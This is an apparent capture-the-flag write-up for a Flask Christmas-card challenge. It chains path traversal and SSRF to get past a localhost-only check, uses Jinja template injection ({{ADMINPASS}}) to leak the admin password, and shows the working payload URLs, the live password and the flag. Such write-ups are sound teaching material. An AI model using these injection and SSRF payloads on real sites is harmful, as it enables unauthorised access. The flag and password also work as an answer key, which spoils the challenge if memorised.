Wish Cards


You can download all challenge files from here and run the application locally.


Basic Functionality

  • The challenge involves a Flask web app.
  • The app allows users to choose a picture as a template and generates a Christmas card with a random wish sourced from data.py.
  • Additionally, there’s an option to create a custom card with a personalized message, but this feature is restricted to localhost requests only.
  • The following code enforces this restriction:
def local(f):
    @wraps(f)
    def check(*args, **kwargs):
        if request.remote_addr != '127.0.0.1':
            return render_template('error.html', error= 'Sorry, this page is not available for the public 🥲')
        return f(*args, **kwargs)
    return check

How to get the flag

  • Upon reviewing the code, I discovered that the flag can be obtained by sending a request to /admin-card. However, two conditions must be met:
    • We need the admin password
    • We must bypass the same localhost restriction as the custom card functionality.
try:    secret_wish = open('flag.txt','r').read().strip()
except: secret_wish='NH4CK{secrettttt}'

@app.route('/admin-card')
@local
def admin():
    passw = request.args.get('pass', '')
    if passw != ADMINPASS:
        return render_template('error.html', error= 'Urm, wrong password ❌')
    secret_card = make_card('colors.png', wish= f'Merry Xmas, don\'t share my secret: {secret_wish}')
    return send_file(io.BytesIO(secret_card), mimetype= 'image/png', as_attachment= True, download_name= 'flag.png')

Getting the admin password

  • I noticed that the admin pass is loaded in a global variable in util.py.
try:    ADMINPASS = open('adminpass.txt').read().strip()
except: ADMINPASS = 'adminpass'
  • I also noticed that when a custom card is generated, the custom wish is is directly rendered into the template without any sanitization.
def generate_card_html(b64_image, wish):
    card_html = f'''
    <html>
    <head>
        <style>
            .card {{
                width: 800px;
                height: 600px;
                background-image: url(data:image/png;base64,{b64_image});
                background-size: cover;
                display: flex;
                align-items: center;
                justify-content: center;
                color: white;
                font-size: 20px;
                text-align: center;
                padding: 10px;
                box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
                border-radius: 10px;
            }}
        </style>
    </head>
    <body>
        <div class="card">
            {wish}
        </div>
    </body>
    </html>
    '''
    return render_template_string(card_html, **globals())
  • This suggested an SSTI vulnerability . By exploiting it, I could potentially extract the admin password using a payload like {{ADMINPASS}}. The only problem was the localhost restriction.
  • I assumed that there has to be an SSRF vulnerability as well, that would allow us to force the server to make requests on behalf of us.

SSRF vulnerability

  • The make_card function looked very promising because:
    • The server fetches images by making HTTP requests to itself.
    • it concatenates a user-controlled input into the url string.
def make_card(img: str, wish= ''):
    if not img or not img.endswith('.png'):
        return None
    if any([c in wish for c in '<>%_&"\\()']): # these may crash something
        return None
    
    if not wish:
        wish = get_wish()
    
    img_b64 = img_from_url(f'http://127.0.0.1:1337/static/images/{img}')
    if not img_b64:
        return None
    card_html = generate_card_html(img_b64,wish)
    as_pic = imgkit.from_string(card_html, False, options= {'format': 'png', 'quiet': '', 'crop-h': '1000', 'crop-w': '800'})
    return as_pic
  • Firstly I checked if I could control the server’s request URL with path traversal. I tried:
    http://localhost:1337/cards?image=../../static/images/green.png
    
  • The response was a normal card with the requested background without any errors. So, I confirmed that indeed I can control it.

  • Next, I tried creating a custom card to see if I could bypass the localhost restriction:
    http://localhost:1337/cards?image=../../custom-cards?wish=MyCustomWish%26image=green.png
    
  • Notice that the image parameter of the SSRF request should be second, because the server checks if it ends with .png.
  • And yes, my custom wish was rendered successfully. A random wish was also included, as the initial request was for a regular card, while using the rendered custom card as background.

  • To confirm the SSTI vulnerability, I used the following request that rendered number 49.

    http://localhost:1337/cards?image=../../custom-cards?wish={{7*7}}%26image=green.png
    
  • And finally used {{ADMINPASS}} to get the admin pass.
    http://localhost:1337/cards?image=../../custom-cards?wish={{ADMINPASS}}%26image=green.png
    

Final payload to get the flag

  • With the admin password in hand and a bypass for the localhost restriction, I could issue a request to the /admin-card endpoint and retrieve the flag:
    http://localhost:1337/cards?image=../../admin-card?pass=adminpass%26fake=.png
    
  • Again, the image parameter must end with .png, so I appended an arbitrary parameter.
  • During the competition, the live server’s admin password was GOD_INTERN! so the final payload was:
    /cards?image=../../admin-card?pass=GOD_INTERN!%26fake=.png
    
  • And the real flag was:
    NH4CK{y37.4n07h3r.w15h.c4rd}